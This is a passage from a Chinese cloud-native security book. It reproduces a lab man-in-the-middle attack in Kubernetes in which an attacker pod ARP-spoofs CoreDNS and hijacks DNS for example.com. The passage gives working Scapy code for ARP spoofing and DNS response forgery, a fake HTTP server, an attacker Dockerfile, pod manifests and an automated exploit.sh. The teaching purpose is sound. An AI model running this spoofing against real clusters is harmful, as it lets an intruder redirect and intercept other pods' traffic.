- 云原生安全:攻防实践与体系构建
- 刘文懋 江国龙 浦明 阮博男 叶晓虎
- 2030字
- 2021-11-04 18:12:39
4.5.3 场景复现
我们首先复现本节开篇提出的攻击场景,按照“环境准备”和“发起攻击”的顺序介绍复现过程。
1.环境准备
我们需要准备一个安装了CoreDNS的Kubernetes集群,部署若干Pod,并保证某一个节点上有三个角色的Pod存在:
1)攻击者Pod:模拟攻击者已经攻入集群中的Web App Pod,攻击者应具有容器内root权限。
2)受害者Pod:模拟即将被ARP欺骗和DNS劫持的Pod,受害者原本的正常业务包括定期向example.com域名发起HTTP请求。
3)CoreDNS Pod:Kubernetes自身的DNS服务器(Kubernetes自带)。
我们实际上模拟的是后渗透(post-penetration)阶段,即假设攻击者已经攻入了这个Pod。为方便起见,我们后面会制作一个攻击者镜像,用这个镜像来创建攻击者Pod。
另外,我们需要模拟受害者向外发出HTTP请求,因此只要保证受害者Pod内有curl工具即可,故笔者选用的受害者镜像是curlimages/curl:latest。
图4-16给出一个供参考的网络环境示意图。
图4-16中,模拟攻击者攻入的Pod为节点1左下方的Web APP Pod(为方便叙述,我们将其命名为attacker Pod),受害者Pod为节点1右下方的Backend Pod(为方便叙述,我们将其命名为victim Pod)。
另外,为了实现高可用,即使我们部署了单节点集群,CoreDNS也可能会启动两个Pod实例。这在一定程度上会影响实验效果。为了避免这一影响,我们先修改CoreDNS实例数为1(执行如下命令),实际环境中也可以考虑对节点上所有DNS Pod进行欺骗。
kubectl scale deployments.apps -n kube-system coredns --replicas=1
2.发起攻击
环境准备好后,我们就可以实施以下攻击流程了:
1)首先获得各种网络参数,包括attacker Pod自身的MAC和IP地址、Kubernetes集群DNS服务的IP地址、同节点上CoreDNS Pod的MAC和IP地址、CNI网桥的MAC和IP地址。
2)在attacker Pod中启动一个HTTP服务器,监听80端口,对于任何HTTP请求均回复一行字符串“F4ke Website”,作为攻击成功的标志。
3)攻击者在attacker Pod中启动一个ARP欺骗程序,持续向cni0网桥发送ARP响应帧,不断声明CoreDNS Pod的IP对应的MAC地址应该是attacker Pod的MAC地址。
4)在attacker Pod中启动一个DNS劫持程序,等待接收DNS请求。
5)根据设定,victim Pod向example.com发起HTTP请求,为了获得example.com的IP地址,victim Pod需要向DNS服务器发起请求,为了找到DNS服务器的MAC地址,victim Pod需要先向cni0网桥发送ARP请求,然而由于attacker Pod在第3步不断地向cni0网桥发送ARP响应帧,因此victim Pod会收到响应,被告知CoreDNS Pod的IP对应attacker Pod的MAC地址。
6)一旦第3步生效,victim Pod向attacker Pod发来DNS请求,则DNS劫持程序首先判断该请求针对的域名是否为目标域名example.com。如否,则将请求转发给真正的CoreDNS Pod,接收CoreDNS Pod的响应包,并转发给victim Pod;如是,则伪造DNS响应包,声明example.com对应的IP地址是attacker Pod自己的IP,将这个响应包发送给victim Pod。
7)顺利的话,victim Pod接下来将向attacker Pod发送http://example.com的HTTP请求,因此第2步中attacker Pod中设置的HTTP服务器将向victim回复预设字符串“F4ke Website”,victim Pod以为“F4ke Website”正是自己需要的内容。
图4-17能够更直观地展示上述步骤。
图4-16 中间人攻击场景的网络环境
图4-17 中间人攻击流程
我们首先用浏览器访问测试域名example.com,因为它是互联网上专门用来测试的域名,结果如图4-18所示,可以看到内容是正常的。
图4-18 正常情况下访问example.com的浏览器页面
接下来我们展示各个步骤的核心代码逻辑。
第一步,获取各网络参数的方法不再叙述,读者可参考原理描述部分。
第二步,我们可以借助Python自带的http.server模块创建一个恶意HTTP服务:
from http.server import HTTPServer, BaseHTTPRequestHandler class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): # 处理GET请求 self._set_response() self.wfile.write("F4ke Website\n".encode('utf-8')) def fake_http_server(): server_address = ('', 80) server = HTTPServer(server_address, S) server.serve_forever()
第三步,开始ARP欺骗。正如前面描述的那样,不断向cni0发送ARP响应帧:
def arp_spoofing(share_victim_ip, bridge_ip, coredns_pod_ip, coredns_pod_mac, bridge_mac, verbose): while True: # 向cni0声称CoreDNS的IP对应attacker Pod的MAC send(ARP(op=2, pdst=bridge_ip, psrc=coredns_pod_ip, hwdst=bridge_mac), verbose=verbose)
第四步,开始DNS欺骗。这一步需要注意的是,为了减小不必要的影响,我们仅仅劫持对example.com域名的DNS查询请求。对于其他请求,我们的策略是将其转发给CoreDNS,然后从CoreDNS处拿到响应,再转发给请求发起者。此部分核心代码如下:
@staticmethod def generate_response(request, ip=None, nx=None): """构造DNS响应包""" return DNS(id=request[DNS].id, aa=1, qr=1, # 表示响应 rd=request[DNS].rd, # 直接复制请求项 qdcount=request[DNS].qdcount, # 直接复制请求项 qd=request[DNS].qd, # 直接复制请求项 ancount=1 if not nx else 0, an=DNSRR( rrname=request[DNS].qd.qname, type='A', ttl=1, rdata=ip) if not nx else None, rcode=0 if not nx else 3 ) def spoof(self, req_pkt): """实施DNS劫持""" spf_resp = IP(dst=req_pkt[IP].src, src=self.local_server_ip) / UDP(dport=req_pkt[UDP].sport, sport=53) / self.generate_ response(req_pkt,ip=self.ip) send(spf_resp, verbose=0, iface=self.interface) def handle_queries(self, req_pkt): """根据请求域名决定是原样转发还是劫持""" if req_pkt["DNS Question Record"].qname.startswith(self.fake_domain.encode( 'utf-8')): self.spoof(req_pkt) else: self.forward(req_pkt, verbose=False)
以上就是攻击者需要做的事情了。为方便测试,我们直接构建一个攻击者镜像,Dockerfile如下:
FROM ubuntu:latest COPY k8s_dns_mitm.py /poc.py RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list RUN apt update && DEBIAN_FRONTEND=noninteractive apt install -y python3 python3-pip && apt clean RUN pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted- host pypi.tuna.tsinghua.edu.cn RUN chmod u+x /poc.py ENTRYPOINT ["/bin/bash", "-c", "/poc.py example.com "]
编辑完成,构建镜像:
docker build -t k8s_dns_mitm:1.0 .
接着,编写attacker Pod的声明文件:
# attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: main image: k8s_dns_mitm:1.0 imagePullPolicy: IfNotPresent
然后,编写victim Pod的声明文件:
# victim.yaml apiVersion: v1 kind: Pod metadata: name: victim spec: containers: - name: main image: curlimages/curl:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ]
我们编写一个exploit.sh脚本来自动化模拟场景:
#!/bin/bash # exploit.sh set -e echo "[*] Pulling curl image..." docker pull curlimages/curl:latest echo "[*] Creating attacker and victim pods..." kubectl apply -f attacker.yaml kubectl apply -f victim.yaml echo "[*] Waiting 20s for pods' creation..." sleep 20 echo "[*] Reading attacker's log..." kubectl logs attacker echo "[*] Trying to curl http://example.com in victim..." kubectl exec -it victim curl http://example.com
执行exploit.sh脚本,依次启动attacker和victim两个Pod。其中,attacker Pod陆续启动伪HTTP服务、ARP欺骗服务和伪DNS服务,然后脚本会自动使用kubectl exec功能在victim Pod中借助curl访问example.com,发现内容已经变为我们设定好的“F4ke Website”。为了保证准确性,我们再次手动执行一次,结果相同。整个过程如图4-19所示。
图4-19 自动化发起攻击并用victim Pod访问example.com网站
至此,整个流程实践完毕,中间人攻击成功。
3.注意事项
在测试结束后,可以在宿主机节点上执行如下脚本来恢复环境,方便重复测试:
#!/bin/bash # cleanup.sh set -e -x kubectl delete pod victim attacker for record in $(arp | grep cni0 | awk '{print $1}'); do arp -d "$record" done